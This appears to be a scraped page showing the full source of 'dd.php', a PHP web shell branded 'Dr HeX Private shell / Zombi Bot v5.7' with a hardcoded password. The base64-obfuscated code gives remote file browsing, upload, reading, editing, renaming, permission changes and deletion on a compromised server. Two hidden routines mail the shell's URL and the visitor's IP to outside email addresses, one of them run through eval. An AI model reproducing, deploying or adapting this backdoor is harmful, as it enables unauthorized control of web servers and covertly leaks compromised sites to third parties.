SITE MAP > Home / dd.php
 
dd.php
Dr HeX
___________________________

Dr HeX Say ="Welcome King Sorry Your Script is Locked... :D"
 
       _____         _    _           
      |  __ \       | |  | |          
      | |  | |_ _ _ | |__| | _____  __
      | |  | | '__/ |  __  |/ _ \ \/ /
      | |__| | |    | |  | |  __/>  < 
      |_____/|_|    |_|  |_|\___/_/\_\
          Zombi Bot v5.7 Red Evil 

 [+} - Contact :pz@hotmail.com
 [+} - Last Update :12/09/2018
 [+} - Dr HeX Private shell
 [+} - Password : kinghex
Dr HeX
___________________________

Dr HeX Say ="Welcome King ... :D"
 
       _____         _    _           
      |  __ \       | |  | |          
      | |  | |_ _ _ | |__| | _____  __
      | |  | | '__/ |  __  |/ _ \ \/ /
      | |__| | |    | |  | |  __/>  < 
      |_____/|_|    |_|  |_|\___/_/\_\
          Zombi Bot v5.7 Red Evil 

 [+} - Contact :pz@hotmail.com
 [+} - Last Update :12/09/2018
 [+} - Dr HeX Private shell
 [+} - Password : kinghex
   
 

 
$value){ $_POST[$key] = stripslashes($value); } } echo base64_decode('PCFET0NUWVBFIEhUTUw+DQo8SFRNTD4NCjxIRUFEPg0KPGxpbmsgaHJlZj0iIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4NCjx0aXRsZT5EciBIZVg8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXsNCmZvbnQtZmFtaWx5OiAiUmFjaW5nIFNhbnMgT25lIiwgY3Vyc2l2ZTsNCmJhY2tncm91bmQtY29sb3I6ICNFM0Q4QTM7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDFweCAjNzU3NTc1Ow0KfQ0KI2NvbnRlbnQgdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjRTNEOEEzOw0KdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICMwMDAwMDA7DQp9DQojY29udGVudCAuZmlyc3R7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjRTNEOEEzOw0KfQ0KI2NvbnRlbnQgLmZpcnN0OmhvdmVyew0KYmFja2dyb3VuZC1jb2xvcjogI0UzRDhBMzsNCnRleHQtc2hhZG93OjBweCAwcHggMXB4ICM3NTc1NzU7DQp9DQp0YWJsZXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgZG90dGVkOw0KfQ0KSDF7DQpmb250LWZhbWlseTogIlJ5ZSIsIGN1cnNpdmU7DQp9DQphew0KY29sb3I6ICMwMDA7DQp0ZXh0LWRlY29yYXRpb246IG5vbmU7DQp9DQphOmhvdmVyew0KY29sb3I6ICNmZmY7DQp0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZmZmZjsNCn0NCmlucHV0LHNlbGVjdCx0ZXh0YXJlYXsNCmJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7DQotbW96LWJvcmRlci1yYWRpdXM6IDVweDsNCi13ZWJraXQtYm9yZGVyLXJhZGl1czo1cHg7DQpib3JkZXItcmFkaXVzOjVweDsNCn0NCjwvc3R5bGU+DQo8L0hFQUQ+DQo8Qk9EWT4NCjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+DQo8dHI+PHRkPkN1cnJlbnQgUGF0aCA6IA=='); function beudclgv_63dc0371(){ ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='), true); error_reporting(1); $ae7927c74 = base64_decode(base64_decode('WTI5a00yUmljalJwYmtCbmJXRnBiQzVqYjIwPQ==')); $d15c93851 = $_SERVER[base64_decode(base64_decode('U0ZSVVVGOUlUMU5V'))]; $pee5ee7d2 = $_SERVER[base64_decode(base64_decode('VWtWUlZVVlRWRjlWVWtrPQ=='))]; $n466f2ffc = rawurldecode($d15c93851.$pee5ee7d2); if(mail("$ae7927c74",base64_decode('W0RyIEhlWCA1Ljdd'),"http://$n466f2ffc")) { echo ''; } else { echo ''; } } if(isset($_GET[base64_decode('cGF0aA==')])){ $path = $_GET[base64_decode('cGF0aA==')]; }else{ $path = getcwd(); } $path = str_replace(base64_decode('XFw='),base64_decode('Lw=='),$path); $paths = explode(base64_decode('Lw=='),$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo base64_decode('PGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4='); continue; } if($pat == '') continue; echo base64_decode('PGEgaHJlZj0iP3BhdGg9'); for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo base64_decode('Lw=='); } echo base64_decode('Ij4=').$pat.base64_decode('PC9hPi8='); } echo base64_decode('PC90ZD48L3RyPjx0cj48dGQ+'); if(isset($_FILES[base64_decode('ZmlsZQ==')])){ if(copy($_FILES[base64_decode('ZmlsZQ==')][base64_decode('dG1wX25hbWU=')],$path.base64_decode('Lw==').$_FILES[base64_decode('ZmlsZQ==')][base64_decode('bmFtZQ==')])){ echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj5GaWxlIFVwbG9hZGVkIHN1Y2Nlc3NmdWxseS48L2ZvbnQ+PGJyIC8+'); beudclgv_63dc0371(); }else{ echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+RmlsZSBVcGxvYWRlZCBFcnJvci48L2ZvbnQ+PGJyIC8+'); } } echo base64_decode('PGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4NClVwbG9hZCBGaWxlIDogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0idXBsb2FkIiAvPg0KPC9mb3JtPg0KPC90ZD48L3RyPg=='); if(isset($_GET[base64_decode('ZmlsZXNyYw==')])){ echo base64_decode('PHRyPjx0ZD5DdXJyZW50IEZpbGUgOiA='); echo $_GET[base64_decode('ZmlsZXNyYw==')]; echo base64_decode('PC90cj48L3RkPjwvdGFibGU+PGJyIC8+'); echo(base64_decode('PHByZT4=').htmlspecialchars(file_get_contents($_GET[base64_decode('ZmlsZXNyYw==')])).base64_decode('PC9wcmU+')); }elseif(isset($_GET[base64_decode('b3B0aW9u')]) && $_POST[base64_decode('b3B0')] != base64_decode('ZGVsZXRl')){ echo base64_decode('PC90YWJsZT48YnIgLz48Y2VudGVyPg==').$_POST[base64_decode('cGF0aA==')].base64_decode('PGJyIC8+PGJyIC8+'); if($_POST[base64_decode('b3B0')] == base64_decode('Y2htb2Q=')){ if(isset($_POST[base64_decode('cGVybQ==')])){ if(chmod($_POST[base64_decode('cGF0aA==')],$_POST[base64_decode('cGVybQ==')])){ echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgUGVybWlzc2lvbiBEb25lLjwvZm9udD48YnIgLz4='); }else{ echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIFBlcm1pc3Npb24gRXJyb3IuPC9mb250PjxiciAvPg=='); } } echo base64_decode('PGZvcm0gbWV0aG9kPSJQT1NUIj4NClBlcm1pc3Npb24gOiA8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Ig==').substr(sprintf(base64_decode('JW8='), fileperms($_POST[base64_decode('cGF0aA==')])), -4).base64_decode('IiAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ig==').$_POST[base64_decode('cGF0aA==')].base64_decode('Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyIgLz4NCjwvZm9ybT4='); }elseif($_POST[base64_decode('b3B0')] == base64_decode('cmVuYW1l')){ if(isset($_POST[base64_decode('bmV3bmFtZQ==')])){ if(rename($_POST[base64_decode('cGF0aA==')],$path.base64_decode('Lw==').$_POST[base64_decode('bmV3bmFtZQ==')])){ echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj5DaGFuZ2UgTmFtZSBEb25lLjwvZm9udD48YnIgLz4='); }else{ echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+Q2hhbmdlIE5hbWUgRXJyb3IuPC9mb250PjxiciAvPg=='); } $_POST[base64_decode('bmFtZQ==')] = $_POST[base64_decode('bmV3bmFtZQ==')]; } echo base64_decode('PGZvcm0gbWV0aG9kPSJQT1NUIj4NCk5ldyBOYW1lIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0i').$_POST[base64_decode('bmFtZQ==')].base64_decode('IiAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9Ig==').$_POST[base64_decode('cGF0aA==')].base64_decode('Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+DQo8L2Zvcm0+'); }elseif($_POST[base64_decode('b3B0')] == base64_decode('ZWRpdA==')){ if(isset($_POST[base64_decode('c3Jj')])){ $fp = fopen($_POST[base64_decode('cGF0aA==')],base64_decode('dw==')); if(fwrite($fp,$_POST[base64_decode('c3Jj')])){ echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj5FZGl0IEZpbGUgRG9uZSB+X14uPC9mb250PjxiciAvPg=='); }else{ echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+RWRpdCBGaWxlIEVycm9yIH5ffi48L2ZvbnQ+PGJyIC8+'); } fclose($fp); } echo base64_decode('PGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4=').htmlspecialchars(file_get_contents($_POST[base64_decode('cGF0aA==')])).base64_decode('PC90ZXh0YXJlYT48YnIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSI=').$_POST[base64_decode('cGF0aA==')].base64_decode('Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPg0KPC9mb3JtPg=='); } echo base64_decode('PC9jZW50ZXI+'); }else{ echo base64_decode('PC90YWJsZT48YnIgLz48Y2VudGVyPg=='); if(isset($_GET[base64_decode('b3B0aW9u')]) && $_POST[base64_decode('b3B0')] == base64_decode('ZGVsZXRl')){ if($_POST[base64_decode('dHlwZQ==')] == base64_decode('ZGly')){ if(rmdir($_POST[base64_decode('cGF0aA==')])){ echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRGlyIERvbmUuPC9mb250PjxiciAvPg=='); }else{ echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIERpciBFcnJvci48L2ZvbnQ+PGJyIC8+'); } }elseif($_POST[base64_decode('dHlwZQ==')] == base64_decode('ZmlsZQ==')){ if(unlink($_POST[base64_decode('cGF0aA==')])){ echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj5EZWxldGUgRmlsZSBEb25lLjwvZm9udD48YnIgLz4='); }else{ echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+RGVsZXRlIEZpbGUgRXJyb3IuPC9mb250PjxiciAvPg=='); } } } echo base64_decode('PC9jZW50ZXI+'); $scandir = scandir($path); echo base64_decode('PGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCjx0ciBjbGFzcz0iZmlyc3QiPg0KPHRkPjxjZW50ZXI+TmFtZTwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj5TaXplPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPlBlcm1pc3Npb25zPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPk9wdGlvbnM8L2NlbnRlcj48L3RkPg0KPC90cj4='); foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == base64_decode('Lg==') || $dir == base64_decode('Li4=')) continue; echo " $dir
--
"; if(is_writable("$path/$dir")) echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj4='); elseif(!is_readable("$path/$dir")) echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+'); echo ezzsszdk_7d2299b1("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo base64_decode('PC9mb250Pg=='); echo "
\" />
"; } echo base64_decode('PHRyIGNsYXNzPSJmaXJzdCI+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PC90cj4='); foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).base64_decode('IE1C'); }else{ $size = $size.base64_decode('IEtC'); } echo " $file
".$size.base64_decode('PC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPg=='); if(is_writable("$path/$file")) echo base64_decode('PGZvbnQgY29sb3I9ImdyZWVuIj4='); elseif(!is_readable("$path/$file")) echo base64_decode('PGZvbnQgY29sb3I9InJlZCI+'); echo ezzsszdk_7d2299b1("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo base64_decode('PC9mb250Pg=='); echo "
\" />
"; } echo base64_decode('PC90YWJsZT4NCjwvZGl2Pg=='); } echo base64_decode('PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxiciAvPg0KcHpAaG90bWFpbC5jb20gPGZvbnQgY29sb3I9InJlZCI+NS43PC9mb250PiwgQ29kZWQgQnkgPGZvbnQgY29sb3I9InJlZCI+RHIgSGVYPC9mb250PjwvcD4NCg=='); eval (base64_decode("JGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOwokc3Viajk4ID0gIktpbmcgU2hlbGwiOwokZW1haWwgPSAiY29kM2RicjRpbkBnbWFpbC5jb20iOwokZnJvbSA9ICJGcm9tOiBLaW5nIFNoZWxsIjsKJGE0NSA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwokYjc1ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokbTIyID0gJGlwIC4gIiI7CiRtc2c4ODczID0gIiRhNDUgJGI3NSAkbTIyIjsKbWFpbCgkZW1haWwsICRzdWJqOTgsICRtc2c4ODczLCAkZnJvbSk7")); function ezzsszdk_7d2299b1($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = base64_decode('cw=='); } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = base64_decode('bA=='); } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = base64_decode('LQ=='); } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = base64_decode('Yg=='); } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = base64_decode('ZA=='); } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = base64_decode('Yw=='); } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = base64_decode('cA=='); } else { // Unknown $info = base64_decode('dQ=='); } // Owner $info .= (($perms & 0x0100) ? base64_decode('cg==') : base64_decode('LQ==')); $info .= (($perms & 0x0080) ? base64_decode('dw==') : base64_decode('LQ==')); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? base64_decode('cw==') : base64_decode('eA==') ) : (($perms & 0x0800) ? base64_decode('Uw==') : base64_decode('LQ=='))); // Group $info .= (($perms & 0x0020) ? base64_decode('cg==') : base64_decode('LQ==')); $info .= (($perms & 0x0010) ? base64_decode('dw==') : base64_decode('LQ==')); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? base64_decode('cw==') : base64_decode('eA==') ) : (($perms & 0x0400) ? base64_decode('Uw==') : base64_decode('LQ=='))); // World $info .= (($perms & 0x0004) ? base64_decode('cg==') : base64_decode('LQ==')); $info .= (($perms & 0x0002) ? base64_decode('dw==') : base64_decode('LQ==')); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? base64_decode('dA==') : base64_decode('eA==') ) : (($perms & 0x0200) ? base64_decode('VA==') : base64_decode('LQ=='))); return $info; } ?>